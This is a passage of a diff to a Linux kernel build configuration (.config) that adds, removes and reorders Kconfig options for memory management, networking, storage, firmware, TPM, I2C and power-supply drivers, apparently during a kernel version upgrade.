CONFIG_FW_CFG_SYSFS is not set -# CONFIG_GOOGLE_FIRMWARE is not set - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -515,8 +510,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -528,8 +521,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -538,9 +534,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -551,6 +549,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -562,27 +561,47 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y @@ -591,7 +610,15 @@ CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -600,6 +627,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -610,19 +639,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -636,6 +667,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -675,39 +708,73 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +CONFIG_SWAP=y +# CONFIG_ZSWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +CONFIG_COMPAT_BRK=y CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y CONFIG_VMAP_PFN=y +CONFIG_VM_EVENT_COUNTERS=y # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -719,6 +786,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -729,12 +797,13 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -# CONFIG_SYN_COOKIES is not set +CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -753,10 +822,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -776,12 +843,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -796,8 +864,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -808,7 +876,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -841,6 +908,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -878,15 +947,18 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set # # Generic Driver Options # +CONFIG_AUXILIARY_BUS=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -897,6 +969,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -916,9 +989,37 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -936,21 +1037,17 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -958,8 +1055,10 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y # CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -982,9 +1081,9 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1010,25 +1109,27 @@ CONFIG_BLK_DEV_NVME=y CONFIG_INTEL_MEI=m CONFIG_INTEL_MEI_ME=m CONFIG_INTEL_MEI_TXE=m +# CONFIG_INTEL_MEI_GSC is not set # CONFIG_INTEL_MEI_HDCP is not set +# CONFIG_INTEL_MEI_PXP is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1040,6 +1141,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1074,7 +1176,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1083,8 +1184,8 @@ CONFIG_ISCSI_TCP=y # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1093,7 +1194,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1126,6 +1226,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1197,12 +1298,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1214,21 +1309,23 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1247,24 +1344,28 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1272,9 +1373,9 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set @@ -1282,6 +1383,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1289,6 +1391,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1340,26 +1443,29 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_USB_VL600 is not set # CONFIG_USB_NET_CH9200 is not set # CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1393,6 +1499,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1449,6 +1556,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1472,7 +1580,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1489,9 +1596,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1499,6 +1604,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1510,10 +1617,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1590,6 +1697,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1598,6 +1707,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1619,6 +1729,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1632,12 +1743,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1645,10 +1758,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1668,6 +1785,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # 